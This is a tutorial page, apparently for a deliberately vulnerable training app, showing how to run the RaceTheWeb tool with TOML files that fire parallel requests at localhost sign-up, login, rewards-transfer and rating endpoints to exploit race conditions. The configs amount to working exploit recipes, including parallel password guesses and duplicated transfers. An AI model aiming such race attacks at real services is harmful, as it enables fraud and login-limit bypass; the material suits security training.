More Tools
Start with whatever tools you may have.Better tools will be found as you go.
Using a tool can help you find and exploit TOCTOU issues. There are a couple of such tools available in the open-source world:
Name
Notes
Browser Dev Tools
  • Very easy to find
  • Comes with major browsers
  • Does not support sending cookies
cURL
We will solve the last challenge using RaceTheWeb. The executable files for RaceTheWeb can be obtained from https://github.com/aaronhnatiw/race-the-web/releases
Which version to download? It depends on the operating-system you are running
Operating System
FIle to be downloaded
Linux 32-bit
race-the-web_2.0.1_lin32.bin
Linux 64-bit
race-the-web_2.0.1_lin64.bin
macOS 32-bit
race-the-web_2.0.1_osx32.app.zip
macOS 64-bit
race-the-web_2.0.1_osx64.app.zip
Windows 32-bit
race-the-web_2.0.1_win32.exe
Windows 64-bit
race-the-web_2.0.1_win64.exe
On Linux and macOS machines, you need to make the file executable.
Operating System
Command to run on Terminal
race-the-web_2.0.1_lin32.bin
chmod +x race-the-web_2.0.1_lin32.bin
race-the-web_2.0.1_lin64.bin
chmod +x race-the-web_2.0.1_lin64.bin
race-the-web_2.0.1_osx32.app.zip
Extract the zip file
chmod +x race-the-web_2.0.1_osx32.app
race-the-web_2.0.1_osx64.app.zip
Extract the zip file
chmod +x race-the-web_2.0.1_osx64.app
Running RacetheWeb is easy:
  1. 1.
    Open command prompt/Terminal
  2. 2.
    Navigate to the directory where you have extracted/downloaded the executable binary file
  3. 3.
    Run the following command:
A screenshot of a social media post Description automatically generated
race-the-web portion:
Depending on the operating-system you are using, the race-the-web portion needs to be changed.
Operating System
race-the-web portion
Linux 32-bit
./race-the-web_2.0.1_lin32.bin
Linux 64-bit
./race-the-web_2.0.1_lin64.bin
macOS 32-bit
./race-the-web_2.0.1_osx32.app
macOS 64-bit
./race-the-web_2.0.1_osx64.app
Windows 32-bit
race-the-web_2.0.1_win32.exe
Windows 64-bit
race-the-web_2.0.1_win64.exe
<toml-file> portion:
TOML stands for Tom’s Obvious Minimal Language. The TOML file supplied should be having the request details so that race-the-web can run them.
Find TOML file for some of the TimeGap Theory challenges below:

Sign Up page

1
# Sign Up
2
3
count = 10
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/sign-up.php"
9
body = "firstname=tom&password=tom&email=tom%40example.com&rewards=100"
10
Copied!
In the above TOML file:
  • Count defines how many requests RaceTheWeb tools would be sending in parallel
  • Verbose defines the verbosity level of output that is displayed on the screen. The value of this can either be true or false
  • Method defines the type of the request. This can be GET, POST, PUT, DELETE etc.
  • URL is, well, the url at which request needs to be sent
  • Body of the request. You can skip this part if there is no body that needs to be submitted

Sign In page

1
# Sign In Page
2
3
count = 1
4
verbose = true
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/login.php"
9
body = "email=tom%40sechow.com&password=1234&submit=Submit"
10
11
[[requests]]
12
method = "POST"
13
url = "http://localhost/timegaptheory/webapp/login.php"
14
body = "email=tom%40sechow.com&password=password&submit=Submit"
15
16
[[requests]]
17
method = "POST"
18
url = "http://localhost/timegaptheory/webapp/login.php"
19
body = "email=tom%40sechow.com&password=tom&submit=Submit"
20
Copied!
In the above TOML file:
  • Count is 1. However, there are three requests in the file. As such, RaceTheWeb tool will send three parallel requests
  • First two requests have wrong password in the request body

Transfer rewards page

1
# Transfer Rewards
2
3
count = 10
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/user/transfer-rewards.php"
9
body = "from=tom%40sechow.com&to=jerry%40sechow.com&amount=100&submit=Submit"
10
Copied!

Ratings page

1
# Ratings page
2
3
count = 1
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/user/rate-the-program.php"
9
body = "token=ae13e0f1df6412dc4b9e2a9a3354320b6c1f3a65160bcffb552495759870afa3"
10
cookies = ["PHPSESSID=80c3ffddbfe4771dd408b3c53d4a7a44"]
11
12
[[requests]]
13
method = "POST"
14
url = "http://localhost/timegaptheory/webapp/user/rate-the-program.php"
15
body = "token=bc5091b2f60da51d203a58b2af1c8bd99a443751adb206814d22df79e335a3e5"
16
cookies = ["PHPSESSID=fab00a2f7f46e33bb57deb4e08153e52"]
17
Copied!
In the above TOML file, we are sending a cookie as well.
Now you know:
  1. 1.
    Various open-source tools and techniques for finding and exploiting TOCTOU security issues
  2. 2.
    How to use RaceTheWeb tool for exploiting TOCTOU security issues
  3. 3.
    Writing TOML files for RaceTheWeb tool
Last modified 10mo ago